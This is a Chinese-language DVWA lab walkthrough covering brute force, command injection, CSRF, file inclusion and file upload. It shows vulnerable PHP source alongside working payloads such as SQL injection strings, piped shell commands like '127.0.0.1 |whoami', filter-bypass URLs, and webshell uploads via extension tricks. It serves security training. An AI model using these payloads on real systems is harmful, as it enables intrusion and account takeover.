DVWA通关教程
Brute Force
Low
先进行一下代码审计
<?php // 检查是否通过GET请求传递了'Login'参数(注意:这里应该是'username'或类似的,但代码逻辑有误)
if( isset( $_GET[ 'Login' ] ) ) { // 从GET请求中获取用户名 $user = $_GET[ 'username' ]; // 注意:这里应该是'$_GET['username']',但键名写错了 // 从GET请求中获取密码,并使用MD5算法进行哈希 $pass = $_GET[ 'password' ]; $pass = md5( $pass ); // MD5已不被认为是安全的哈希算法,不应在新开发的应用中使用 // 准备SQL查询语句,用于从数据库中查找用户 $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; // 执行SQL查询,使用全局变量$GLOBALS["___mysqli_ston"]作为数据库连接 // 如果查询失败,则输出错误信息 $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // 检查查询结果是否存在且仅有一行(即一个匹配的用户) if( $result && mysqli_num_rows( $result ) == 1 ) { // 从结果集中获取用户详细信息 $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // 获取用户的头像URL // 登录成功,输出欢迎信息和用户头像 echo "<p>Welcome to the password protected area {$user}</p>"; echo "<img src=\"{$avatar}\" />"; } else { // 登录失败,输出错误信息 echo "<pre><br />Username and/or password incorrect.</pre>"; } // 关闭数据库连接(尽管这里使用了三元运算符,但实际上并没有对结果进行任何处理) ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
} ?>
先在这里说一下,这段php代码没有对输入进行任何的过滤,我们可以采用sql注入去爆破数据库登录,或者使用万能密码 比如 admin or 1 = 1 (原理是or只要前后成立一个即可),这题需要用单引号进行闭合注入
打开BP,进行抓包,输入用户名和密码(随意)
抓包分析,右键发送到intruder中
下面介绍一下BP的爆破方式
Sniper
单参数爆破,多参数时使用同一个字典按顺序替换各参数,只有一个数据会被替换
在password的变蓝的地方添加playload
在这里配置字典,可以看到payload是password的时候长度有变化,所以password就是密码
Battering ram
多参数同时爆破,但用的是同一个字典,每个参数数据都是一致的
我们可以看到没有一样的,说明没成功
Pichfork
多参数同时爆破,但用的是不同的字典,不同字典间数据逐行匹配
可以看到当username = admin 并且password= password 是长度和其他的都不同,所以即使账户和密码
Cluster bamb
多参数做笛卡尔乘积模式爆破
可以明显的看到长度不一样
Medium
Medium步骤和low等级完全一样,主要是源码多了一点东西导致难度会提高一点,但无伤大雅,low等级能跑出来的Medium也能跑出来,接下来就让我们进行一下代码审计吧
<?php // 检查是否通过GET请求提交了Login参数
if( isset( $_GET[ 'Login' ] ) ) { // 从GET请求中获取用户名,但这里应该使用POST而不是GET来传输敏感信息 $user = $_GET[ 'username' ]; // 尝试对用户名进行转义,但依赖于全局变量___mysqli_ston,这不是一个好的做法 // 更好的做法是将数据库连接作为参数传递给函数或方法 $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // 从GET请求中获取密码,同样应该使用POST $pass = $_GET[ 'password' ]; // 对密码进行转义,然后MD5加密。MD5不再被认为是安全的密码存储方式 $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass = md5( $pass ); // 构造SQL查询语句,但直接将变量插入SQL语句中是不安全的(SQL注入风险) $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; // 执行SQL查询,如果失败则显示错误信息 $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // 检查查询结果是否存在且只有一行 if( $result && mysqli_num_rows( $result ) == 1 ) { // 获取用户信息 $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // 登录成功,但输出用户信息到HTML中可能导致XSS攻击 echo "<p>Welcome to the password protected area {$user}</p>"; echo "<img src=\"{$avatar}\" />"; } else { // 登录失败,延迟2秒响应 sleep( 2 ); // 输出错误信息 echo "<pre><br />Username and/or password incorrect.</pre>"; } // 关闭数据库连接,但这里的错误处理是多余的 ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
} ?>
High
high等级相较于Medium的变化是sleep(rand(0,3))函数随机休眠0到3秒,重点是增加了token值,这增加了难度,接下来看看我们怎么在有token验证的情况下获得正确的用户名和密码
<?php if( isset( $_GET[ 'Login' ] ) ) { // 检查是否存在CSRF令牌,并与会话令牌匹配,以防止跨站请求伪造 // 假设checkToken函数已经定义,并接受请求令牌、会话令牌和失败时重定向的页面 checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // 清理用户名输入中的反斜杠 $user = $_GET[ 'username' ]; $user = stripslashes( $user ); // 使用mysqli_real_escape_string防止SQL注入,如果数据库连接存在 $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // 清理密码输入中的反斜杠 $pass = $_GET[ 'password' ]; $pass = stripslashes( $pass ); // 使用mysqli_real_escape_string防止SQL注入,然后加密密码 $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass = md5( $pass ); // 使用MD5加密密码,尽管这不是最佳实践(应使用更安全的哈希算法) // 构造SQL查询语句 $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; // 执行查询,如果失败则显示错误信息 $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); if( $result && mysqli_num_rows( $result ) == 1 ) { // 从结果中获取一行用户数据 $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // 获取用户头像URL // 登录成功 echo "<p>Welcome to the password protected area {$user}</p>"; echo "<img src=\"{$avatar}\" />"; // 显示用户头像 } else { // 登录失败,随机延迟0到3秒以减缓暴力破解攻击 sleep( rand( 0, 3 ) ); echo "<pre><br />Username and/or password incorrect.</pre>"; } // 关闭数据库连接(尽管这里的结果赋值操作可能不是最佳实践) ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
} // 生成新的CSRF令牌并存储在会话中,以便下次请求时验证
generateSessionToken(); ?>
进入payload模块第一个选择字典自己添加,第二个选择递归查询
找到Grep-Extract :这个设置能够被用来通过请求返回的信息来获取有用的信息供你使用,也就是说,可以通过它来获得每次请求后返回的Token,关联到Payload中进行暴力破解
在Payload Options中就可以看到自动加载过来的值,将请求包里user_token的值填入到Initial payload for first request(第一个请求的初始负载)中,也可不填,点击Start attack开启爆破!
如下成功了
Impossible
<?php // 检查是否提交了登录表单
if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) { // 检查Anti-CSRF令牌 checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // 清理用户名输入(尽管在PDO中不需要,但可能是从旧代码迁移而来) $user = $_POST[ 'username' ]; $user = stripslashes( $user ); // 移除反斜杠(在魔术引号开启时有用,但现代PHP中已废弃) // 尝试使用全局mysqli连接进行转义,否则报错 $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // 清理密码输入(同上) $pass = $_POST[ 'password' ]; $pass = stripslashes( $pass ); $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass = md5( $pass ); // 使用MD5哈希密码(不推荐,因为MD5不安全) // 设置默认值和变量 $total_failed_login = 3; $lockout_time = 15; $account_locked = false; // 检查数据库中的用户信息 $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); $row = $data->fetch(); // 检查用户是否被锁定 if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) { // 计算用户何时可以重新登录 $last_login = strtotime( $row[ 'last_login' ] ); $timeout = $last_login + ($lockout_time * 60); $timenow = time(); // 如果时间未到,则账户被锁定 if( $timenow < $timeout ) { $account_locked = true; } } // 检查用户名和密码是否匹配 $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR); $data->bindParam( ':password', $pass, PDO::PARAM_STR ); $data->execute(); $row = $data->fetch(); // 如果登录有效且账户未锁定 if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) { // 获取用户详细信息 $avatar = $row[ 'avatar' ]; // ...(其他用户信息) // 登录成功 echo "<p>Welcome to the password protected area <em>{$user}</em></p>"; // ...(其他成功消息) // 重置登录失败次数 $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); } else { // 登录失败 sleep( rand( 2, 4 ) ); // 延迟响应,可能是为了简单的DoS保护 // 给出反馈 echo "<pre><br />Username and/or password incorrect.<br /><br/>...</pre>"; // 更新登录失败次数 $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); } // 更新最后登录时间 $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute();
} // 生成Anti-CSRF令牌
generateSessionToken(); ?>
关于暴力破解的防护:
-
账户锁定:当登录失败次数超过一定阈值时(本例中为3次),账户将被锁定一段时间(本例中为15分钟)。这减少了暴力破解尝试的成功机会,因为攻击者需要等待账户解锁才能继续尝试。
-
延迟响应:在登录失败时,服务器会随机延迟响应(2到4秒)。这增加了攻击者进行大量尝试所需的时间,从而降低了暴力破解的效率。
-
Anti-CSRF令牌:通过检查CSRF令牌,可以防止跨站请求伪造攻击,这虽然不是直接针对暴力破解的防护,但增强了系统的整体安全性。
然而,需要注意的是,MD5哈希密码是不安全的,因为它容易受到彩虹表攻击。建议使用更安全的哈希算法,如bcrypt。此外,代码中的stripslashes
和mysqli_real_escape_string
在PDO环境下是多余的,因为PDO已经通过预处理语句和参数绑定来防止SQL注入。
Command Injection
Low
先来进行一下代码审计
<?phpif( isset( $_POST[ 'Submit' ] ) ) {// Get input$target = $_REQUEST[ 'ip' ]; //提交参数port,get和cookie都可以,获取IP地址// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {//判断是否为window系统,不是则为unix或者linux// Windows$cmd = shell_exec( 'ping ' . $target );//执行ping命令}else {// *nix$cmd = shell_exec( 'ping -c 4 ' . $target );}// Feedback for the end userecho "<pre>{$cmd}</pre>";
}?>
可以看到这段代码先是获取了用户输入的IP地址,在获取了才做系统,我们可以尝试用&&,||等连接符号连起来
可以看到这里不仅执行ping 127.0.0.1的命令,还执行了whoami这条命令(它显示了当此命令被调用时当前用户的用户名),也可以执行其他的命令比如nestat -an
可以看到端口监听的状况、还有ipconfig,net user等等
Mediu
<?phpif( isset( $_POST[ 'Submit' ] ) ) {// Get input$target = $_REQUEST[ 'ip' ];// Set blacklist$substitutions = array('&&' => '',';' => '',);//这里把 &&和 ;给过滤了// Remove any of the charactars in the array (blacklist).$target = str_replace( array_keys( $substitutions ), $substitutions, $target );// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping ' . $target );}else {// *nix$cmd = shell_exec( 'ping -c 4 ' . $target );}// Feedback for the end userecho "<pre>{$cmd}</pre>";
}?>
我们可以用|| 或者& 等等
High
<?phpif( isset( $_POST[ 'Submit' ] ) ) {// Get input$target = trim($_REQUEST[ 'ip' ]);// Set blacklist$substitutions = array('&' => '',';' => '','| ' => '','-' => '','$' => '','(' => '',')' => '','`' => '','||' => '',);//这里几乎把所有的都过滤了// Remove any of the charactars in the array (blacklist).$target = str_replace( array_keys( $substitutions ), $substitutions, $target );// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping ' . $target );}else {// *nix$cmd = shell_exec( 'ping -c 4 ' . $target );}// Feedback for the end userecho "<pre>{$cmd}</pre>";
}?>
但仔细看|符号后面有个空格,所以我们构造
payload :127.0.0.1 |whoami
记住不要|和whoami之间不要有空格
Impossible
<?php // 检查是否通过POST方法提交了表单(特别是检查'Submit'按钮是否被点击)
if( isset( $_POST[ 'Submit' ] ) ) { // 验证CSRF令牌以防止跨站请求伪造 checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // 从请求中获取IP地址 $target = $_REQUEST[ 'ip' ]; // 使用stripslashes函数去除字符串中的反斜杠(尽管在处理IP地址时可能不是必需的) $target = stripslashes( $target ); // 使用explode函数以点(.)为分隔符将IP地址分割成四个部分(八位字节) $octet = explode( ".", $target ); // 检查每个部分(八位字节)是否都是整数,并且数组的大小正好是4 if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) { // 如果所有四个部分都是整数,则将它们重新组合成IP地址 $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3]; // 根据操作系统类型执行ping命令 if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // 如果是Windows系统,执行不带次数限制的ping命令 $cmd = shell_exec( 'ping ' . $target ); } else { // 如果是*nix系统,执行带次数限制(4次)的ping命令 $cmd = shell_exec( 'ping -c 4 ' . $target ); } // 将ping命令的输出以预格式化的方式显示给用户 echo "<pre>{$cmd}</pre>"; } else { // 如果IP地址无效,显示错误信息 echo '<pre>ERROR: You have entered an invalid IP.</pre>'; }
} // 生成新的CSRF令牌并存储在会话中(注意:这里假设generateSessionToken函数负责这项工作)
generateSessionToken(); ?>
IP地址验证:脚本通过分割和检查每个八位字节来验证输入的IP地址是否有效。然而,这种方法虽然基本,但并不完全安全,因为它没有检查每个八位字节是否在0到255的范围内。
在这个脚本中,没有直接对输出进行HTML转义,这可能导致跨站脚本攻击(XSS)的风险,尽管在这个特定的例子中,由于输出的是命令执行的结果,这种风险可能较低。然而,在将用户输入直接嵌入到HTML输出中时,始终应该进行转义。
Cross Site Request Forgery (CSRF)
Low
网站的本意是在这里更改代码
http://dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
我们可以看到URL变了,所以我们可以直接在URL中
接下来看下代码
<?php // 检查是否存在名为'Change'的GET请求参数
if( isset( $_GET[ 'Change' ] ) ) { // 从GET请求中获取新密码和确认密码 $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // 检查新密码和确认密码是否匹配 if( $pass_new == $pass_conf ) { // 密码匹配,开始处理 // 如果全局变量___mysqli_ston存在且是对象,则使用它来转义新密码,避免SQL注入 // 否则,触发错误,显示信息"Fix the mysql_escape_string() call! This code does not work." // 这里的错误处理非常糟糕,因为它使用了触发错误作为逻辑判断的一部分 $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // 使用MD5散列新密码,这是一个不安全的密码散列方法,现已不推荐使用 $pass_new = md5( $pass_new ); // 准备SQL语句以更新数据库中当前用户的密码 // 注意:这里使用了一个名为dvwaCurrentUser()的函数来获取当前用户,但没有给出该函数的实现 $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; // 执行SQL语句,如果失败则显示错误信息 $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // 如果密码更新成功,向用户显示反馈信息 echo "<pre>Password Changed.</pre>"; } else { // 如果新密码和确认密码不匹配,向用户显示错误信息 echo "<pre>Passwords did not match.</pre>"; } // 尝试关闭数据库连接,但这里的逻辑有些混乱,因为它检查了返回值,但实际上没有使用它 ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
} ?>
-
使用GET请求处理敏感信息:通过GET请求处理密码更新是一个严重的安全问题,因为GET请求的数据会在URL中明文显示,可能会被记录在服务器日志、浏览器历史等地方。
-
MD5散列密码:MD5已不被认为是一个安全的密码散列算法,因为它容易受到碰撞攻击。应使用更安全的算法,如bcrypt。
-
SQL注入风险:尽管代码尝试使用
mysqli_real_escape_string
来避免SQL注入,但由于使用了dvwaCurrentUser()
函数来构建SQL查询,且未展示该函数的实现,如果该函数不安全,仍然存在SQL注入的风险。更好的做法是使用预处理语句(prepared statements)。
Medium
源码分析:和Low等级比较发现,只有一处改变,即在传入密码和确认密码参数前先进行了一个if语句的判断,判断里面的内容主要是验证这个访问请求是否是从dwva网站本身发起的,若不是就不执行后面的操作
<?phpif( isset( $_GET[ 'Change' ] ) ) {// Checks to see where the request came fromif( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {// Get input 判断是否为dvwa页面发起的$pass_new = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Do the passwords match?if( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update the database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the userecho "<pre>Password Changed.</pre>";}else {// Issue with passwords matchingecho "<pre>Passwords did not match.</pre>";}}else {// Didn't come from a trusted sourceecho "<pre>That request didn't look correct.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>
源码是通过referrer这个字段的参数进行判断的,通常情况下在增加referrer验证时就是网站本身当前页面的ip地址,我们通过抓包看看信息
构造一个页面,里面放一个a标签,链接为更改密码的url,当受害者点击时就会触发更改密码的操作,我们只需要把这个html页面的位置放在和网站同一个目录下,即在自己的电脑上构造一个访问目标网站域名的html文件
High
源码分析:可以看出high等级的主要区别是增加了一个token值的校验,每次登录都会校验token是否正确,若想要执行更改密码操作必须知道正常用户的token,获得用户token的方式有两种:
- 构造一个页面让用户点击,点击之后偷偷的读取用户登录网站的token,把token加到自己构造的更改密码的表单上做让用户点击完成攻击,但由于同源策略,一半无法获得token,也有解决方法,但那个更繁琐,这里不赘述了
- 如果用户网站上刚好有存储型漏洞,可以利用存储型漏洞与csrf漏洞配合,即通过存储型漏洞获得token再利用csrf漏洞结合拿到的token完成攻
<?phpif( isset( $_GET[ 'Change' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$pass_new = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Do the passwords match?if( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update the database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the userecho "<pre>Password Changed.</pre>";}else {// Issue with passwords matchingecho "<pre>Passwords did not match.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}// Generate Anti-CSRF token
generateSessionToken();?>
这里为了方便,就假设我通过xss存储型漏洞获得了token,而将token拼接到medium等级的表单中完成攻击获得的token:20f07053354bf93a94e3bb45e2923312
Impossible
<?php // 检查是否存在名为'Change'的GET请求参数,以触发密码更改逻辑
if( isset( $_GET[ 'Change' ] ) ) { // 检查Anti-CSRF令牌以防止CSRF攻击 // 注意:这里假设checkToken, generateSessionToken, 和 dvwaCurrentUser函数已经定义 checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // 从GET请求中获取当前密码、新密码和确认密码 $pass_curr = $_GET[ 'password_current' ]; $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // 去除当前密码输入中的反斜杠(通常不是必要的,因为GET数据通常不包含转义字符) $pass_curr = stripslashes( $pass_curr ); // 如果存在全局的MySQLi连接且是对象,则对当前密码进行转义,防止SQL注入 // 否则,触发错误。这里使用mysqli_real_escape_string可能是一个错误,因为已经使用PDO $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // 对当前密码进行MD5散列(不推荐,因为MD5不安全) $pass_curr = md5( $pass_curr ); // 准备SQL查询以检查当前密码是否正确 // 注意:这里使用了PDO准备语句,但之前对$pass_curr的处理可能不是必要的,因为PDO已经提供了参数绑定 $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); // 绑定当前用户名 $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR ); // 绑定MD5散列后的当前密码 $data->execute(); // 执行查询 // 检查新密码是否匹配,且当前密码是否与用户匹配 if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) { // 如果条件满足,对新密码进行相同的处理(去除反斜杠、转义、MD5散列) // 但注意,这里的转义处理可能是不必要的,因为已经使用PDO $pass_new = stripslashes( $pass_new ); $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // 准备SQL语句以更新用户密码 $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); $data->bindParam( ':password', $pass_new, PDO::PARAM_STR ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->execute(); // 执行更新 // 向用户显示密码更改成功的反馈 echo "<pre>Password Changed.</pre>"; } else { // 如果新密码不匹配或当前密码错误,显示错误信息 echo "<pre>Passwords did not match or current password incorrect.</pre>"; }
} // 生成新的Anti-CSRF令牌并存入会话
generateSessionToken(); ?>
File Inclusion
Low
访问页面,显示allow_url_include 没有开启,我们可以在配置里面开启
allow_url_include参数表示可以远程利用文件包含漏洞
修改为On,并且重启服务
通过访问1.php,2.php, 3.php会返回不通的内容,同时会将文件名传参给page参数
Mediu
通过访问1.php,2.php, 3.php会返回不通的内容,同时会将文件名传参给page参数
对page传参为http://127.0.0.1/1.php
报错了
查看源码
<?php// The page we wish to display
$file = $_GET[ 'page' ];// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );?>
如果传参值中有http:// https:// …/ …\都将替换为空
如果传入的是htthttp://p://127.0.0.1/1.php
High
<?php// The page we wish to display
$file = $_GET[ 'page' ];// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {// This isn't the page we want!echo "ERROR: File not found!";exit;
}?>
关键代码为 使用fnmatch()函数对page参数进行过滤,要求page必须以“file”开头,服务器才会包含相应的文件。
可利用file协议进行读文件
Impossible
<?php
// 开始PHP代码块 // 通过GET请求获取名为'page'的参数值,并赋值给变量$file
$file = $_GET[ 'page' ]; // 接下来是一个条件判断语句,用于检查$file变量的值
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) { // 如果$file的值不是"include.php"、"file1.php"、"file2.php"或"file3.php"中的任何一个 // 那么执行以下操作 // 向用户显示错误信息 echo "ERROR: File not found!"; // 使用exit函数终止脚本的执行,防止后续代码的执行 exit;
} // 如果$file的值是上述四个允许的文件名之一,则条件判断语句内的代码不会执行
// 接下来的代码(如果有的话)将会执行,但在这段给定的代码中,没有包含后续操作 ?>
// 结束PHP代码块
File Upload
Low
首先我们准备一个一句话木马文件
<?php phpinfo();?>
1、访问页面有一个文件上传点
2、直接上传123.php
3、访问文件
Mediu
1、直接上传123.php文件
2、修改123.php文件名为456.jpg,上传时通过burp抓取上传请求包,将456.jpg修改为456.php
3、上传成功 访问文件
High
1、当我们使用第二关的方式时,显示
2、查询后端源代码
strrpos(string , find ,start): 查找find字符在string字符中的最后一次出现的位置,start参数可选,表示指定从哪里开始
substr(string,start,length): 返回string字符中从start开始的字符串,length参数可选,表示返回字符的长度
strtolower(string): 返回给定字符串的小写
对后缀名进行了判断
3、可通过文件包含漏洞结合使用,首先制作图片马
4、使用文件包含漏洞模块中的low关, 进行加载图片,成功解析
Impossible
if( isset( $_POST[ 'Upload' ] ) ) { // 检查是否有上传表单提交
} // 检查Anti-CSRF令牌
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// 此函数检查提交的CSRF令牌是否与会话中的令牌匹配,以防止跨站请求伪造 // 获取上传文件的各项信息
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
// 文件名
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
// 文件扩展名
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// 文件大小
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
// MIME类型
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// 临时文件名 // 目标路径
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
// 注意:DVWA_WEB_PAGE_TO_ROOT 是一个未在代码中定义的常量,应该是环境或配置文件中的定义 // 生成目标文件名(使用md5确保唯一性)
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; // 临时文件的完整路径
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; // 检查文件是否为图像文件
if( ... ) { // 检查文件扩展名、大小、MIME类型,并使用getimagesize验证图像文件
} // 根据文件类型重新编码图像以剥离元数据
if( $uploaded_type == 'image/jpeg' ) { $img = imagecreatefromjpeg( $uploaded_tmp ); imagejpeg( $img, $temp_file, 100);
} else { $img = imagecreatefrompng( $uploaded_tmp ); imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
// 这里使用GD库重新创建图像文件,以此移除可能存在的元数据 // 将文件从临时目录移动到目标目录
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) { // 如果移动成功,显示成功消息和链接
} else { // 如果移动失败,显示错误消息
} // 删除临时文件
if( file_exists( $temp_file ) ) unlink( $temp_file ); // 无效文件类型时的错误消息
